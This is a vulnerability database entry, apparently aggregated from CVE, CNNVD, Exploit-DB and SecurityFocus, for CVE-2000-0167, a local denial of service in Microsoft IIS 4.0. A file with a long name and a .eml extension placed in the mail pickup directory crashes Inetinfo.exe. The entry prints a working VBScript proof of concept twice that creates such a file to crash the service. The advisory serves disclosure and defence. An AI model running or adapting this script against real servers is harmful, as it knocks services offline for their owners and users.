CVE-2000-0167
CVSS2.1
发布时间 :2000-02-15 00:00:00
修订时间 :2008-09-10 15:03:08
NMCOES    

[原文]IIS Inetinfo.exe allows local users to cause a denial of service by creating a mail file with a long name and a .txt.eml extension in the pickup directory.


[CNNVD]Microsoft IIS 4.0 Pickup目录DoS漏洞(CNNVD-200002-046)

        IIS Inetinfo.exe存在漏洞。本地用户通过在pickup目录下创建含有超长名称和.txt.eml扩展的邮件文件可以导致拒绝服务。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0167
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0167
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200002-046
(官方数据源) CNNVD

- 其它链接及资源

http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0002&L=ntbugtraq&F=&S=&P=8800
(UNKNOWN)  NTBUGTRAQ  20000215 Crashing Inetinfo.exe by using a longfilename in the \mailroot\pickup directory

- 漏洞信息

Microsoft IIS 4.0 Pickup目录DoS漏洞
低危 其他
2000-02-15 00:00:00 2005-10-20 00:00:00
远程※本地  
        IIS Inetinfo.exe存在漏洞。本地用户通过在pickup目录下创建含有超长名称和.txt.eml扩展的邮件文件可以导致拒绝服务。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (20310)

Microsoft IIS 4.0 Pickup Directory DoS Vulnerability (EDBID:20310)
windows dos
2000-02-15 Verified
0 Valentijn
N/A [点击下载]
source: http://www.securityfocus.com/bid/1819/info

An email with a filename consisting of over 86 characters and an extension of .txt.eml will cause Microsoft IIS to crash if placed in the \mailroot\pickup directory. The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality.

' PLEASE PROVIDE YOUR PICKUP PATH HERE
Rootpath = "c:\inetpub\mailroot\pickup\"

Set fso = createobject("scripting.filesystemobject")
Thename = Createkey & fso.GetTempName & ".eml"
Set Thefile = fso.GetFolder(rootpath).CreateTextFile(TheName)
Thefile.writeline "X-Sender: CRASHTHIS@my.net"
Thefile.writeline "X-Receiver: dump@my.net"
Thefile.writeline "From: <CRASHTHIS@my.net>"
Thefile.writeline "To: <dump@my.net>"
Thefile.writeline "Subject: MINE DID NOT CRASH"
Thefile.writeline "Date: " & now()
Thefile.writeline "X-Generator: " & Thename
Thefile.close
Set thefile = nothing
Thename = ""

Function Createkey
for z = 1 to 80
randomize
a = Int((25 * Rnd) + 1)
password = password & chr(a+65)
next
Createkey = password
end function
' Warning IF InetInfo.exe crashes it cannot be started again as long as the
file is still there!

</example script>		

- 漏洞信息

13634
Microsoft IIS Inetinfo.exe Malformed Long Mail File Name DoS
Local Access Required Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Microsoft IIS contains a flaw that may allow a local denial of service. The issue is triggered when a file with a filename with more than 86 characters is placed in the \mailroot\pickup directory and has a .txt.eml extension. This will result in loss of availability for the service and the file will have to be removed and the service restarted to become available.

- 时间线

2000-02-15 Unknow
2000-02-15 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

Microsoft IIS 4.0 Pickup Directory DoS Vulnerability
Failure to Handle Exceptional Conditions 1819
Yes Yes
2000-02-15 12:00:00 2009-07-11 03:56:00
Posted to NTBugtraq on February 15, 2000 by Valentijn <iam@MY.NET>.

- 受影响的程序版本

Microsoft IIS 4.0
+ Cisco Building Broadband Service Manager (BBSM) 5.0
+ Cisco Building Broadband Service Manager (BBSM) 5.0
+ Cisco Call Manager 3.0
+ Cisco Call Manager 3.0
+ Cisco Call Manager 2.0
+ Cisco Call Manager 2.0
+ Cisco Call Manager 1.0
+ Cisco Call Manager 1.0
+ Cisco ICS 7750
+ Cisco ICS 7750
+ Cisco IP/VC 3540 Video Rate Matching Module
+ Cisco IP/VC 3540 Video Rate Matching Module
+ Cisco Unity Server 2.4
+ Cisco Unity Server 2.4
+ Cisco Unity Server 2.3
+ Cisco Unity Server 2.3
+ Cisco Unity Server 2.2
+ Cisco Unity Server 2.2
+ Cisco Unity Server 2.0
+ Cisco Unity Server 2.0
+ Cisco uOne 4.0
+ Cisco uOne 4.0
+ Cisco uOne 3.0
+ Cisco uOne 3.0
+ Cisco uOne 2.0
+ Cisco uOne 2.0
+ Cisco uOne 1.0
+ Cisco uOne 1.0
+ Hancom Hancom Office 2007 0
+ Hancom Hancom Office 2007 0
+ Microsoft BackOffice 4.5
+ Microsoft BackOffice 4.5
+ Microsoft Windows NT 4.0 Option Pack
+ Microsoft Windows NT 4.0 Option Pack

- 漏洞讨论

An email with a filename consisting of over 86 characters and an extension of .txt.eml will cause Microsoft IIS to crash if placed in the \mailroot\pickup directory. The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality.

- 漏洞利用

Valentijn &lt;iam@MY.NET&gt; has provided the following sample script:

&lt;example script&gt;

' PLEASE PROVIDE YOUR PICKUP PATH HERE
Rootpath = "c:\inetpub\mailroot\pickup\"

Set fso = createobject("scripting.filesystemobject")
Thename = Createkey &amp; fso.GetTempName &amp; ".eml"
Set Thefile = fso.GetFolder(rootpath).CreateTextFile(TheName)
Thefile.writeline "X-Sender: CRASHTHIS@my.net"
Thefile.writeline "X-Receiver: dump@my.net"
Thefile.writeline "From: &lt;CRASHTHIS@my.net&gt;"
Thefile.writeline "To: &lt;dump@my.net&gt;"
Thefile.writeline "Subject: MINE DID NOT CRASH"
Thefile.writeline "Date: " &amp; now()
Thefile.writeline "X-Generator: " &amp; Thename
Thefile.close
Set thefile = nothing
Thename = ""

Function Createkey
for z = 1 to 80
randomize
a = Int((25 * Rnd) + 1)
password = password &amp; chr(a+65)
next
Createkey = password
end function
' Warning IF InetInfo.exe crashes it cannot be started again as long as the
file is still there!

&lt;/example script&gt;

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

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